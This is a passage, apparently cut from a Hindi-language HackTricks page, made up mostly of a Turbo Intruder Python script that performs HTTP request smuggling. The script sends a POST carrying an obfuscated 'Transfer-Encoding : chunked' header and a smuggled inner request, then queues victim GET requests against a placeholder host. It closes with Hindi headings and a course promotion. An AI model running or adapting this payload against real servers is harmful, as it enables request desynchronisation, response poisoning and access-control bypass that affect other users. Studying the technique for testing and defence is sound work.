requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

उपकरण

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: